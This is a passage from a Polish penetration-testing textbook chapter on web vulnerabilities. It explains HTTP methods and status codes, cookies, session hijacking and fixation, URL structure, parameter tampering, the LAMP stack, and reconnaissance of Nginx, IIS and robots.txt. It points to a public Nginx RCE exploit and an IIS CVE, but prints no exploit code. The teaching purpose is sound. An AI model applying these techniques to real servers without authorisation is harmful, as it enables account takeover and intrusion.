jak metoda GET, ale pomija treść dokumentu). Pamiętaj, że mówimy tutaj o publicznie dostępnym
serwerze WWW. Czasami można też natknąć się na serwery obsługujące metodę OPTIONS, która
powinna wtedy informować, że serwer obsługuje tylko te trzy metody. To znaczy, że serwer będzie
odpowiadał na tylko te trzy rodzaje żądań, a pozostałe będzie ignorował lub odrzucał. Jeżeli w od-
powiedzi na żądanie OPTIONS zobaczysz jakieś dodatkowe metody HTTP, to dobrze jest przetesto-
wać każdą z nich i sprawdzić, czy nie jest ona nadmiarowa w świetle wymagań stawianych serwe-
rowi. Tego rodzaju zachowanie może samo w sobie powodować problemy, ponieważ dodatkowe
metody HTTP umożliwiają bardziej rozbudowaną interakcję z serwerem poprzez żądania przesła-
nia dodatkowych plików lub wykonania innych operacji. Na przykład obsługiwana metoda CONNECT
oznacza, że takiego serwera można użyć w roli serwera proxy. Można to wykorzystać do ustano-
wienia połączenia z inną witryną, poprzez które można nawet przeprowadzić skanowanie progra-
mem Nmap. Wyobraź sobie, jakie możliwości daje komputer, który będzie się w naszym imieniu
łączył z innymi komputerami!

3681988c430c7fe1e8567c4e2f281f7b
3
214 Rozdział 7  Sieć WWW pełna podatności

Kody odpowiedzi HTTP

Z pewnością przydatna jest znajomość różnych typów odpowiedzi, jakie można otrzymać od ser-
wera WWW. Istnieje pięć klas kodów odpowiedzi. Klasa 1 oznacza komunikaty informacyjne,
klasa 2 obejmuje komunikaty sukcesu, 3 oznacza przekierowania, 4 gromadzi informacje o błędach
klienta, natomiast 5 to zbiór błędów serwera. W poniższej tabeli wypisujemy kody odpowiedzi
HTTP razem z ich nazwami. Ta lista została pobrana z dokumentu RFC 7231 (który zastąpił do-
kument RFC 2616 będący pierwszą dokumentacją protokołu HTTP/1.1). Tę samą tabelę znajdziesz
też w rozdziale 6.1 dokumentu RFC 7231 (https://tools.ietf.org/html/rfc7231#section-6.1), w którym
znajdują się też linki do szczegółowych objaśnień każdego z kodów.

Kody odpowiedzi HTTP

KOD NAZWA ANG. NAZWA

100 Continue Kontynuacja
101 Switching Protocols Zmiana protokołu
200 OK OK
201 Created Utworzono
202 Accepted Zaakceptowano
203 NonAuthoritative Information Dodatkowa informacja
204 No Content Brak treści
205 Reset Content Skasuj treść
206 Partial Content Treść częściowa
300 Multiple Choices Wybór wielokrotny
301 Moved Permanently Trwale przeniesiono
302 Found Znaleziono
303 See Other Zobacz inne
304 Not Modified Bez modyfikacji
305 Use Proxy Użyj proxy
307 Temporary Redirect Tymczasowe przekierowanie
400 Bad Request Błędne żądanie
401 Unauthorized Nieautoryzowane
402 Payment Required Wymagana płatność
403 Forbidden Zakazane
404 Not Found Nie znaleziono
405 Method Not Allowed Niedozwolona metoda
406 Not Acceptable Nieakceptowalne
407 Proxy Authentication Required Wymagane uwierzytelnianie proxy
408 Request Timeout Przekroczenie czasu żądania

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół HTTP 215

KOD NAZWA ANG. NAZWA

409 Conflict Konflikt
410 Gone Zniknęło
411 Length Required Wymagane podanie długości
412 Precondition Failed Niespełniony wstępny warunek
413 Payload Too Large Zbyt duży payload
414 URI Too Long Zbyt długi adres URI
415 Unsupported Media Type Nieobsługiwany rodzaj mediów
416 Range Not Satisfiable Poza zakresem
417 Expectation Failed Niespełnione oczekiwanie
426 Upgrade Required Wymagana aktualizacja
500 Internal Server Error Wewnętrzny błąd serwera
501 Not Implemented Niezaimplementowane
502 Bad Gateway Niepoprawna brama
503 Service Unavailable Usługa niedostępna
504 Gateway Timeout Przekroczenie czasu bramy
505 HTTP Version Not Supported Nieobsługiwana wersja HTTP

Niektóre kody statusu HTTP zostały zarezerwowane dla przyszłych zastosowań, czego przykła-
dem jest kod 402 „Wymagana płatność”. Nie oznacza to, że serwery nie mogą używać tych kodów
na własne potrzeby (choć nie powinny tego robić). Okazuje się, że niektóre organizacje (na przy-
kład Cloudflare, która to firma oferuje ogromny zbiór różnych produktów do rozwiązań interne-
towych, takich jak ochrona przed atakami DDoS, usługi DNS albo serwery proxy dla sieci WWW)
rozbudowują zbiór istniejących kodów HTTP, dodając do nich własne, które umożliwiają podawa-
nie informacji o błędach ściśle związanych z oferowanymi usługami. Własne kody definiuje też
oprogramowanie serwera Nginx. Niektóre kody odpowiedzi zostały wymyślone jako dowcipy pri-
maaprilisowe, czego najlepszym przykładem jest kod 418 I’m a teapot (jestem czajniczkiem) zapi-
sany w dokumencie RFC 2324 (jest to dokument opisujący fikcyjny protokół sterowania hipertek-
stowym czajniczkiem — HyperText Coffee Pot Control Protocol).

Protokół bezstanowy
Ciekawą cechą protokołu HTTP jest to, że mimo używania połączeniowego protokołu TCP sam
HTTP jest protokołem bezstanowym. Oznacza to, że po wysłaniu żądania HTTP do nasłuchują-
cego serwera ten odbiera żądanie i odsyła na nie odpowiedź, po czym zamyka połączenie TCP. Nie
zapamiętuje przy tym informacji o tym, kto się z nim połączył, a zatem nie wie, kiedy ta sama osoba
ponownie się z nim połączy. Każde połączenie jest utrzymywane tylko tymczasowo na potrzeby
przesłania strony lub innego zasobu. Powodem takiego zachowania jest to, że serwery WWW czę-
sto obsługują wielu użytkowników jednocześnie, a utrzymywanie wielkiej liczby jednoczesnych po-
łączeń może być obciążające dla samego serwera, nawet gdy działa on na nowoczesnym sprzęcie.

3681988c430c7fe1e8567c4e2f281f7b
3
216 Rozdział 7  Sieć WWW pełna podatności

W razie potrzeby połączenie TCP może być utrzymywane za pomocą nagłówka

HTTP Connection: Keep-Alive aż do czasu, gdy przesłane zostaną wszystkie zasoby żądane
przez klienta albo połączenie się przedawni. Każdy z serwerów może stosować różne czasy
utrzymywania aktywnego połączenia, co może zostać wykorzystane do identyfikacji ro-
dzaju serwera, gdy zawiodą wszystkie inne metody. Każde połączenie może zostać też za-
kończone siłowo za pomocą nagłówka Connection: Close.

Co więcej, jeżeli chodzi nam tylko o pobranie statycznej strony WWW, utrzymywanie stanu
połączenia nie jest w ogóle potrzebne. Niestety wszyscy wiemy, że całkowicie statyczne strony WWW
można dzisiaj znaleźć jedynie w muzeum (nasze ulubione to textfiles.com). Dzisiaj normą jest to,
że użytkownicy logują się w witrynach i przesyłają żądania, w wyniku których otrzymują strony
składające się z dynamicznie generowanych treści. W przypadku bezstanowego protokołu HTTP
taka praca wymagałaby przesyłania danych uwierzytelniających (czyli nazwy użytkownika i hasła)
razem z każdym żądaniem HTTP. Na szczęście z pomocą przychodzą nam pliki cookie.

Pliki cookie
Pliki cookie (nazywane też ciasteczkami) są używane do wielu różnych celów, ale jednym z ich pod-
stawowych zadań jest przechowywanie tokena (zwykle ma postać ciągu znaków sprawiających wra-
żenie losowości) na komputerze użytkownika. Taki token podawany jest serwerowi WWW razem
z każdym żądaniem, co zwykle stanowi dobrą metodę jednoznacznego identyfikowania użytkow-
nika. Pliki cookie są metodą umożliwiającą implementowanie sesji użytkownika i definiowanie
stanu tej sesji zapisanej w zmiennych serwera, które można przechowywać po stronie klienta. Uży-
wany w tym celu plik cookie lub token zwykle jest powiązany z rekordem w tabeli będącej częścią
bazy danych serwera WWW. Może też być wykorzystywany bezpośrednio przez serwer do uzyska-
nia dostępu do danych przechowywanych w jego pamięci. Niezależnie od umiejscowienia taki re-
kord zawiera informacje o sesji użytkownika, takie jak moment zalogowania, adres IP albo jakiś
identyfikator, poprzez które można uzyskać dostęp do informacji z innych tabel lub baz danych.
Dzięki temu stan sesji użytkownika może być zachowywany nawet po zamknięciu połączenia TCP.
Gdy użytkownik loguje się lub uwierzytelnia w aplikacji sieciowej (podając jej swoją nazwę
użytkownika i hasło), informacje o sesji są aktualizowane. Później między klientem i serwerem
przesyłany jest już tylko plik cookie lub token, które uwierzytelniają użytkownika, co pozwala mu
na dostęp do normalnie nieosiąganych zasobów. Zwykle definiowany jest specjalny plik cookie na
potrzeby uwierzytelniania, natomiast inne pliki cookie umożliwiają śledzenie poczynań użytkow-
nika (na potrzeby lepszego wybierania reklam lub zapisywania ustawień dla danej witryny). Pliki
cookie używane do uwierzytelniania powinny mieć zmienianą wartość przy każdej zmianie stanu
użytkownika, czyli przy każdym logowaniu, wylogowaniu lub przy zmianie poziomu uprawnień.
Sesja powinna też ulegać przedawnieniu po określonym czasie, po którym użytkownik będzie mu-
siał ponownie podać swoją nazwę i hasło. Takie zabezpieczenie zmniejsza ryzyko związane z dość
powszechną formą ataku nazywaną uprowadzaniem sesji (ang. session hijacking). W takim ataku
haker używa poprawnej i aktywnej sesji wybranego użytkownika, aby uzyskać dostęp do jego konta.
Ten atak jest możliwy, jeżeli atakującemu uda się przechwycić plik cookie przechowujący dane sesji.
Może uzyskać ten plik z komputera swojej ofiary albo przechwycić go w samej sieci.

3681988c430c7fe1e8567c4e2f281f7b
3
Adresy URI 217

Stabilizacja sesji (ang. session fixation) to kolejny problem, który może się pojawiać, gdy pliki
cookie są używane pomiędzy kolejnymi logowaniami. W takiej sytuacji atakujący może podsunąć
swojej ofierze spreparowany plik cookie, wiedząc, że zostanie on uwierzytelniony przy następnym
logowaniu. Atakujący może wtedy wykorzystać ten sam plik cookie, aby skorzystać z konta swojej
ofiary, ponieważ wartość tego pliku nie będzie się zmieniać.
Pliki cookie używane są też do poprawiania doświadczeń użytkowników stron WWW. Mogą
przechowywać takie informacje jak wybrany język interfejsu użytkownika albo waluta używana
przy transakcjach. Pliki cookie mają też swoją ciemną stronę, ponieważ umożliwiają różnym firmom
śledzenie poczynań użytkowników w internecie. Różne strony internetowe mogą też po wyśledze-
niu manipulować użytkownikami, wyświetlając dopasowane reklamy i wpływając na doświadcze-
nia z używania internetu. Inne strony używają plików cookie do zbierania najróżniejszych infor-
macji na temat śledzonych użytkowników, aby następnie sprzedać je firmom zewnętrznym. Takie
praktyki są dzisiaj bardzo powszechne, ale nowe ustawodawstwo, takie jak europejska dyrektywa
RODO, sprawiają, że użytkownicy sieci odzyskują choć częściowo kontrolę nad danymi przekazy-
wanymi firmom podczas korzystania z ich witryn lub aplikacji sieciowych.
Przesyłanie i przechowywanie plików cookie używanych na potrzeby uwierzytelniania to dzia-
łania wyjątkowo interesujące z punktu widzenia hakera, ponieważ uzyskanie do nich dostępu po-
zwala na przejęcie konta użytkownika bez znajomości jego nazwy i hasła. Ustawienia serwera
WWW można zmienić, wpływając na to, w jaki sposób i kiedy wysyłane są pliki cookie. Jak można
się domyślać, takie ustawienia można też wykorzystać do własnych celów. Oznacza to, że można
wymusić przesyłanie plików cookie nieszyfrowanym kanałem, co umożliwia ich przechwycenie
w ataku man-in-the-middle albo poprzez podsłuchiwanie pakietów w sieci. Zawartość plików cookie
można też zapisywać w plikach protokołów, gdzie dostęp do nich mogą uzyskać osoby normalnie
niemające takich uprawnień. Przechwytywanie plików cookie umożliwia ich ponowne wykorzy-
stanie w celu przejęcia sesji użytkownika, ponieważ zazwyczaj to właśnie te pliki jednoznacznie
identyfikują poprawną sesję użytkownika w sieci.

Adresy URI
Adresy URI (Uniform Resource Identifiers — jednolite identyfikatory zasobów) są używane w sieci
WWW do jednoznacznego identyfikowania zasobów istniejących w sieci w sposób jednolity
i ustandaryzowany (stąd właśnie ich nazwa). Adresy URL (Uniform Resource Locator — jednolity
lokalizator zasobów) są znacznie częściej stosowanym pojęciem, jeżeli chodzi o korzystanie
z zasobów sieciowych. Z technicznego punktu widzenia adresy URL są tylko pewną formą adre-
sów URI. W dalszej części książki będziemy korzystać wyłącznie z adresów URL, których skład-
nia wygląda następująco:
[protokół://][użytkownik:hasło@]host[:port]][/]ścieżka[?zapytanie][#fragment]

W tym formacie ukrywa się znacznie więcej, niż można by przypuszczać. Adresy URL nie są
używane wyłącznie w sieci WWW (używają ich protokoły telnet://, ftp:// lub file://), ale to dzięki tej
sieci są one powszechnie używane przez zwykłych użytkowników. Typowy użytkownik sieci
WWW po prostu klika hyperlinki (na przykład w wynikach wyświetlanych przez wyszukiwarkę)
zawierające adresy URL, nie troszcząc się o wpisywanie ich ręcznie. W większości przypadków nie

3681988c430c7fe1e8567c4e2f281f7b
3
218 Rozdział 7  Sieć WWW pełna podatności

ma nawet pojęcia o tym, co znaczy taki adres. My wiemy, że przed użyciem adresu URL należy go
dokładnie sprawdzić, ale złośliwi hakerzy doskonale wykorzystują ignorancję typowych użytkow-
ników internetu.
Typowy adres URL umożliwiający dostęp do zasobów sieciowych wygląda tak: http://www.
przyklad.com/strona.php?parametr=zmienna.
W adresie URL nie wszystkie elementy są składnikami wymaganymi. W tym przypadku mamy
podany protokół (http), a za nim zapisana jest nazwa hosta (www.przyklad.com), która może zostać
przesłana do systemu DNS, a ten zwróci adres IP tego hosta. Nie używamy tu nazwy użytkownika
i hasła, ponieważ dostęp do tego zasobu nie wymaga ich podania. Poza tym nie musimy podawać
numeru portu, ponieważ domyślnie protokół HTTP używa portu 80 i właśnie ten port zostanie
użyty, jeżeli nie podamy go jawnie. W ścieżce znajduje się tylko nazwa pliku /strona.php. Oznacza
to, że prosimy o przesłanie pliku znajdującego się w katalogu głównym serwera WWW. Na samym
końcu dopisane jest jeszcze zapytanie, które jest dostępne dla kodu języka PHP działającego po
stronie serwera.
Takie zapytanie można traktować jak argument przekazywany programowi działającemu na
serwerze WWW. Fragmenty oznaczane znakiem krzyżyka (#) są czasami dołączane na samym
końcu adresu URL. Zwykle wskazują one określoną pozycję wśród danych, których dotyczy żąda-
nie. Dobrym przykładem użycia fragmentów może być poniższa strona Wikipedii, która w całości
jest poświęcona fragmentom: en.wikipedia.org/wiki/Fragment_identifier#Basics.
Po wpisaniu takiego adresu URL do paska adresu przeglądarki i naciśnięciu klawisza Enter na-
kazujemy jej wysłanie żądania do wskazanego hosta. Gdy parametry i zmienne są jawnie widoczne
w adresie URL (na przykład https://192.168.48.101/src/read_body.php?mailbox=INBOX&passed_
´id=4&startMessage=1), to taki adres zwykle zamieniany jest na żądanie GET. Zadaniem żądań GET
jest pobieranie pewnych informacji wybranych na podstawie określonych kryteriów. Podany wcze-
śniej adres URL zostanie zamieniony przez przeglądarkę w żądanie GET wyglądające tak jak poniżej:
GET /src/read_body.php?mailbox=INBOX&passed_id=4&startMessage=1 HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: SQMSESSID=9qjuj43b94blsonon2ukvanqk3; squirrelmail_
language=deleted; key=3DSm98j4hQ%3D%3D
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

W tym miejscu podajemy przykład korzystający z serwera pocztowego, który zaprezentowa-

liśmy już w poprzednim rozdziale. Podczas wysyłania takiego żądania przekazujemy też para-
metry do wskazanej procedury działającej po stronie serwera. Kod działający na serwerze będzie
miał pewne oczekiwania wobec tych parametrów, dlatego możemy spróbować dołączyć do prze-
syłanego parametru nieoczekiwane dane, aby zmusić program do zachowań nieprzewidzianych
przez programistów.

3681988c430c7fe1e8567c4e2f281f7b
3
LAMP: Linux, Apache, MySQL i PHP 219

Na potrzeby tego przykładu trzeba zapamiętać, że /read_body.php to skrypt działający po stro-

nie serwera, który zdalnie wykonuje pewien kod. PHP jest językiem programowania, który może
być wykonywany wyłącznie po stronie serwera. Gdy wysyłamy żądanie GET, podajemy mu też trzy
wartości: INBOX, 4 i 1, przypisując je do kolejnych parametrów: mailbox, passed_id i startMessage.
Proces modyfikowania tych zmiennych wprowadzanych w adresach URL znany jest pod nazwą
majstrowanie przy parametrach HTTP (ang. HTTP parameter tampering). Takie majstrowanie jest
niezwykle proste. Jedynym narzędziem, jakiego potrzebuje haker, jest w tym przypadku przeglą-
darka. Celem majstrowania przy parametrach jest zmuszenie serwera WWW do wykonania dzia-
łań, które nie należą do jego oczekiwanych i udokumentowanych zachowań. Może tu chodzić o coś
tak prostego jak wyświetlenie komunikatu o błędzie (który może zawierać przydatne informacje
o samym serwerze i używanych w nim technologiach), ale równie dobrze może się okazać, że
serwer nagle wyświetli zawartość pliku /etc/passwd. Zmiana wartości parametru userid (identyfi-
kator użytkownika) może umożliwiać dostęp do dokumentów, które nie powinny być wyświetlane
anonimowym osobom odwiedzającym daną witrynę. To tylko ogólne przykłady, ale takie zacho-
wania od czasu do czasu się zdarzają i można się na nie natknąć w różnych serwerach działają-
cych w internecie.

LAMP: Linux, Apache, MySQL i PHP

Nowoczesny serwer WWW korzysta z kilku programów działających wspólnie w ramach imple-
mentacji protokołów i koncepcji, które opisywaliśmy już wcześniej (HTTP, HTML, pliki cookie oraz
adresy URL). Efektem tej współpracy jest możliwość dynamicznego generowania stron WWW za-
wierających zmieniające się treści i przesyłania ich różnym użytkownikom. Jedną z najczęściej sto-
sowanych architektur w dzisiejszej sieci WWW jest architektura trójwarstwowa. Aplikacje WWW
działające w tej architekturze działają na serwerach używających baz danych, aby dostarczać użyt-
kownikom dynamiczne treści wyświetlane w przeglądarkach.
Jednym z najczęściej stosowanych zestawów oprogramowania jest stos LAMP. Skrót LAMP po-
chodzi od nazw Linux, Apache, MySQL i PHP. Ten zestaw nazywany jest stosem, ponieważ wszyst-
kie komponenty tworzą na diagramach coś w rodzaju stosu. Oczywiście pojawiają się też inne wa-
rianty stosu LAMP, takie jak WAMP (w tym skrócie W oznacza Windows), jak również zupełnie
inne rodzaje zestawów oprogramowania. Jak widać na rysunku 7.1, system operacyjny (Linux)
znajduje się na samym dole stosu, a tuż nad nim umieszczone jest oprogramowanie serwera WWW
(Apache). Następny w kolejności jest serwer bazy danych (MySQL), a na samym szczycie stosu
mamy serwerowy język skryptowy (PHP), który pobiera treści dla stron WWW i generuje na ich
podstawie dokumenty HTML. To bardzo uproszczona prezentacja całego stosu, a w sieci można
znaleźć wiele diagramów pokazujących z różnym stopniem szczegółowości wszystkie związki po-
między elementami stosu. W całej tej książce omawiamy system operacyjny Linux, który nie jest
używany wyłącznie w serwerach WWW, dlatego teraz zajmiemy się kolejnym poziomem tego stosu,
czyli serwerem Apache.

3681988c430c7fe1e8567c4e2f281f7b
3
220 Rozdział 7  Sieć WWW pełna podatności

Rysunek 7.1. Podstawowa reprezentacja stosu LAMP

Serwer WWW: Apache

Apache jest oprogramowaniem często stosowanym w roli serwera WWW. Ten serwer masz już
najprawdopodobniej zainstalowany w swoim systemie Kali Linux, a zatem możesz uruchomić
w nim własny serwis WWW, używając do tego zaledwie kilku prostych poleceń. I tak naprawdę
raczej niczego więcej Ci nie potrzeba, żeby mieć własny, prosty serwer WWW. Oczywiście poza
treściami zapisanymi w plikach HTML, które jednak można szybko i łatwo napisać w dowolnym
edytorze tekstu. Mówiąc ogólnie, serwis WWW to oprogramowanie nasłuchujące przychodzących
żądań HTTP i przygotowujące dla nich odpowiedzi.
Apache to bezpłatne oprogramowanie o otwartych źródłach, które istnieje już od wielu lat.
Jak można się spodziewać, w tym oprogramowaniu również znaleziono i ujawniono wiele różnych
podatności. Aby się o tym przekonać, wystarczy przejrzeć zawartość strony www.cvedetails.com/
vulnerability-list/vendor_id-45/Apache.html. Innymi przykładami serwerów WWW często wyko-
rzystywanych w różnych stosach są Nginx i Microsoft IIS. Już niedługo przyjrzymy się również
tym serwerom.

Baza danych: MySQL

Niemal żadna nowoczesna aplikacja sieciowa nie może się obejść bez bazy danych, takiej jak
MySQL, która również musi działać (a przynajmniej być dostępna) na serwerze. W takiej bazie
danych zazwyczaj zapisane są niemal wszystkie treści udostępniane w danej witrynie lub aplikacji.
W przypadku aplikacji do blogowania dla wielu użytkowników baza danych będzie przechowywać
wszystkie notki blogowe, dane użytkowników, łącza do obrazków itd. Może też istnieć osobna baza
danych (niezależna od bazy przechowującej treści) zbierająca informacje o sesjach użytkowników

3681988c430c7fe1e8567c4e2f281f7b
3
LAMP: Linux, Apache, MySQL i PHP 221

i powiązana z różnymi plikami cookie. Pamiętaj, że pliki cookie zwykle zawierają tylko referencję
do danych przechowywanych w innym miejscu. Bazy danych działające w lepiej zabezpieczonych
aplikacjach zwykle nie są instalowane na tym samym komputerze, na którym działa serwer WWW,
ale są dla niego dostępne w ramach dodatkowej, prywatnej sieci. Takie bazy danych powinny być
dostępne wyłącznie dla serwera WWW, ale i tu istnieją metody omijania takich zabezpieczeń. Tymi
tematami będziemy się zajmować w rozdziale 11. „Bazy danych” i w rozdziale 12. „Aplikacje sieciowe”.
MySQL jest popularnym oprogramowaniem do przechowywania treści, ale w sieci dostępnych
jest wiele innych rozwiązań. Do tych popularniejszych można zaliczyć serwery PostgreSQL,
MariaDB, Oracle lub Microsoft SQL Server. Na ich temat będziemy mówić w dalszej części tej
książki. Na razie wystarczy zapamiętać, że baza danych często jest elementem niezbędnym do po-
prawnego funkcjonowania witryny WWW. Zawsze należy zatem poszukiwać informacji, która
mogłaby umożliwić dostęp do takiej bazy danych. W takich poszukiwaniach pomóc może nawet
znajomość nazw popularnych systemów bazodanowych.

Skrypty po stronie serwera: PHP

I w końcu na samym szczycie stosu znajduje się język PHP (PHP: Hypertext Preprocessor), o którym
mówiliśmy już pokrótce w poprzednim rozdziale. Język PHP jest używany do obsługi skryptów
po stronie serwera. Kod w tym języku jest używany do tworzenia dynamicznych stron wykorzy-
stujących dane zapisane w bazie danych MySQL (lub innej). Teraz już nie znajdziesz dwóch użyt-
kowników oglądających dokładnie tę samą stronę WWW! W tym rozdziale napiszemy trochę
kodu PHP i sprawdzimy, jak złośliwy użytkownik może wykorzystać ten kod, aby zainstalować
w aplikacji tylną furtkę, używając do tego poleceń powłoki uruchomionych w systemie operacyj-
nym serwera.
Składnia języka PHP została zapożyczona z języków C i Perl. Interpretowaniem tego kodu zaj-
muje się oprogramowanie Zend Engine (to standardowy mechanizm skryptowy dla języka PHP,
który został napisany w języku C), które jest cały czas rozwijane przez społeczność w ramach idei
otwartych źródeł. Ten język jest powszechnie stosowany do implementowania witryn WWW z dy-
namicznymi treściami. Dla języka PHP powstało wiele rozbudowanych bibliotek udostępniających
ogromne ilości przydatnych funkcji, a każda z nich ma swoją historię najróżniejszych podatności.
Przeglądając zawartość serwera WWW, można natknąć się na plik config.php, w którym zwykle
zapisane są różne wrażliwe informacje. Dla czytelników zupełnie nieznających języka PHP poda-
jemy tu bardzo prosty przykład jego użycia:
<?PHP
echo “<h1>Witaj, świecie!</h1>”;
?>

Język PHP jest często używany do dynamicznego „pisania” kodu HTML. Jeżeli strona z poda-
nym wyżej kodem zostanie wyświetlona w przeglądarce użytkownika, to na ekranie naprawdę po-
jawi się tekst nagłówka „Witaj, świecie!”. Serwerowa część kodu pozostanie ukryta. Niestety pod-
czas pisania kodu PHP programiści robią najróżniejsze błędy, a i sam język ma sporo wad, które
można wykorzystać.

3681988c430c7fe1e8567c4e2f281f7b
3
222 Rozdział 7  Sieć WWW pełna podatności

PHP to tylko jeden z języków, które są używane do obsługi skryptów po stronie serwera. Jest
to bardzo popularny język, ale te same zadania spełnia też wiele innych języków skryptowych,
takich jak Python, Perl, ASP lub ASP.NET (skrót ASP rozwijany jest do Active Server Pages),
Ruby i Node.js.

ARCHITEKTURA TRÓJWARSTWOWA

Nazwa architektura trójwarstwowa (ang. three-tire architecture) odnosi się do serwera WWW oraz
działających na nim aplikacji, co może być nieco zastanawiające w kontekście opisanego właśnie
stosu LAMP. Architektura trójwarstwowa składa się z klienta (warstwy prezentacji), aplikacji
WWW (warstwy logiki) oraz z bazy danych (warstwy przechowywania danych). W tym modelu
klientem jest przeglądarka używana do wyświetlania danych z aplikacji WWW. Już sama prze-
glądarka daje sporo możliwości ataku, ponieważ niemal zawsze działa w niej jakiś kliencki kod
napisany w języku JavaScript. Przeglądarka komunikuje się bezpośrednio z warstwą aplikacji
WWW. Wysyła ona żądania HTTP i odbiera otrzymane odpowiedzi zawierające dane (i pro-
gramy), które następnie są wyświetlane (i uruchamiane). Baza danych zazwyczaj nie ma bezpo-
średniego połączenia z klientem, ponieważ tę komunikację obsługuje wyłącznie warstwa apli-
kacji (w tym przykładzie wykorzystując do tego kod napisany w języku PHP).
Hakerzy zawsze poszukują metod pozwalających na uzyskanie bezpośredniego połączenia
między klientem a warstwą przechowywania danych, ponieważ to w niej zapisane są najbardziej
interesujące informacje, takie jak nazwy użytkowników, hasła, adresy oraz szczegóły dotyczące
sposobów płatności. Można też wykorzystać samego klienta, zmuszając go do wykonania złośli-
wego kodu JavaScript. W końcu można też zaatakować samą aplikację WWW. Tym tematem zaj-
miemy się jednak w rozdziale 12.

Nginx
Serwer Nginx (wymawiane jak „engine-X”) to oprogramowanie bardziej nowoczesne, jeżeli po-
równać je z serwerem Apache. Również jest bezpłatne, rozwijane na zasadach otwartych źródeł
(choć istnieją też komercyjne warianty serwera Nginx), a jednocześnie przystosowane do jedno-
czesnej obsługi ogromnych ilości użytkowników. Serwer Nginx można pobrać ze strony nginx.org
(jeżeli chodzi o rozwiązania o otwartych źródłach) albo www.nginx.com (to strona firmy Nginx,
Inc.). Serwer został pierwotnie napisany przez Igora Sysova w reakcji na zwiększające się ilości ru-
chu sieciowego na popularnej rosyjskiej stronie WWW. Dzisiaj Nginx używany jest powszechnie
na całym świecie. Wykorzystywany jest zarówno jako niezależny serwer, jak i w roli odwrotnego
serwera proxy dla innych serwerów, takich jak Apache. Nie należy zatem zakładać, że serwer, który
właśnie badasz lub testujesz, jest rzeczywiście tym, za który się podaje. Może się okazać, że choć
Nginx zajmuje się obsługą żądań HTTP i działa w roli pamięci podręcznej dla odpowiedzi, to jed-
nak w tle Apache realizuje wszystkie działania po stronie serwera, uruchamia kod języków skryp-
towych i umożliwia działanie aplikacji WWW. Również w przypadku Nginx istnieje wiele cieka-
wych, dostępnych publicznie podatności, które można wyszukać, a potem się z nimi zapoznać.
Jeden z najlepiej zaprojektowanych exploitów, umożliwiający zdalne wykonanie kodu na serwerze,
atakuje serwer Nginx w wersji 1.4.0. Jego dokładny opis można znaleźć pod tym adresem:
https://packetstormsecurity.com/files/125758/nginx-1.4.0-64-bit-Linux-Remote-Code-
´Execution.html

3681988c430c7fe1e8567c4e2f281f7b
3
Pająki i gąsienice 223

Microsoft IIS
Microsoft IIS jest oprogramowaniem płatnym i własnościowym. Jeżeli stwierdzisz, że dany serwer
działa pod kontrolą tego oprogramowania, to możesz też założyć, że cały host działa z systemem
operacyjnym z rodziny Microsoft Windows. Na przykład IIS w wersji 10 prawdopodobnie będzie
działał w systemie Windows Server 2019. Serwer IIS istnieje już od dłuższego czasu, a to oznacza,
że jest duża szansa na znalezienie w sieci jednej z jego starszych wersji, które nadal są podatne na
różne ciekawe ataki. Przykładem może tu być podatność CVE-2017-7269, która pozwala atakują-
cemu wykorzystać funkcję WebDAV (Web Distributed Authoring and Versioning), wywołując
w niej błąd przepełnienia bufora, co pozwala na zdalne wykonanie kodu. Ten exploit (razem z wie-
loma innymi) został opublikowany przez grupę hakerów o nazwie Shadow Brokers w zestawie na-
rzędzi wykradzionych z amerykańskiej agencji NSA.

Funkcja WebDAV jest rozszerzeniem protokołu HTTP i definiuje dodatkowe me-

tody przeznaczone do zdalnego tworzenia i edytowania stron WWW. Najczęściej są one
wykorzystywane do przesyłania plików na zdalne serwery i są wbudowane w większości
systemów operacyjnych. Właściciele witryn WWW mogą przesyłać treści za pomocą nowej
metody HTTP — PUT. Tę oraz inne metody związane z WebDAV można odczytać za pomocą
żądania OPTIONS przesłanego do badanego serwera. Należy zatem sprawdzać, czy nazwy
tych dodatkowych metod HTTP nie pojawiają się w raportach generowanych przez takie
narzędzia jak Nmap lub inne skanery podatności.

Pająki i gąsienice
Z pewnością każdy słyszał już o pająkach i gąsienicach przeczesujących sieć WWW, indeksujących
strony i podążających za kolejnymi linkami. Wyszukiwarki takie jak DuckDuckGo korzystają z ta-
kich programów do tworzenia baz danych z informacjami na temat sieci WWW. Hakerzy mogą
używać podobnych narzędzi do tworzenia mapy wybranej witryny lub aplikacji sieciowej, co po-
zwala później wyszukać obszary warte dokładniejszego zbadania albo przeprowadzenia ataku.
Prawidłowo działające pająki sprawdzają najpierw zawartość pliku robots.txt znajdującego się
w głównym katalogu serwera (/). W tym pliku administratorzy witryny mają podawać listę zaso-
bów, które nie powinny być indeksowane przez mechanizmy wyszukiwarek, ale i takich, które są
dla wyszukiwarek całkowicie nieinteresujące. Z naszego punktu widzenia taka lista „zakazanych”
lokalizacji jest szczególnie ciekawa. W pliku robots.txt można znaleźć na przykład takie zapisy:
User-agent: *
Disallow: /admin
Disallow: /secretstuff

Czasami można się też natknąć na pliki robots.txt, które określają całą witrynę jako obszar
z zakazem wstępu dla wyszukiwarek. Taki ogólny zapis składa się tylko z jednego ukośnika, tak jak
poniżej:
Disallow: /

3681988c430c7fe1e8567c4e2f281f7b
3
224 Rozdział 7  Sieć WWW pełna podatności

Takie zapisy stosowane są na przykład wtedy, gdy nasz klient ma swoją stronę dostępną pu-
blicznie w internecie, ale chciałby, żeby dostęp do niej mieli wyłącznie pracownicy firmy (może
chodzić o aplikację pocztową). Co prawda nic nie jest w stanie wymusić na pająkach wyszukiwarek
stosowania się do zapisów z plików robots.txt, ale generalnie niestosowanie się do nich uznawane
jest za działanie niehonorowe. Informacje znalezione przez pająki mogą zostać wykorzystane do
wyznaczenia obszarów witryny wymagających dokładniejszego zbadania. Podczas wykonywania
oceny dla swojego klienta z pewnością musisz przejrzeć zapisy z pliku robots.txt, ponieważ czasami,
paradoksalnie, administratorzy umieszczają w nich adresy stron, które chcieliby uchronić przed
obcymi oczami. Jeżeli znajdziesz takie zapisy, to masz już kolejne pozycje, które należałoby umie-
ścić w raporcie dla klienta.

Narzędzia hakera serwerów WWW

Prawdopodobnie najużyteczniejszym narzędziem stosowanym przez hakerów jest po prostu prze-
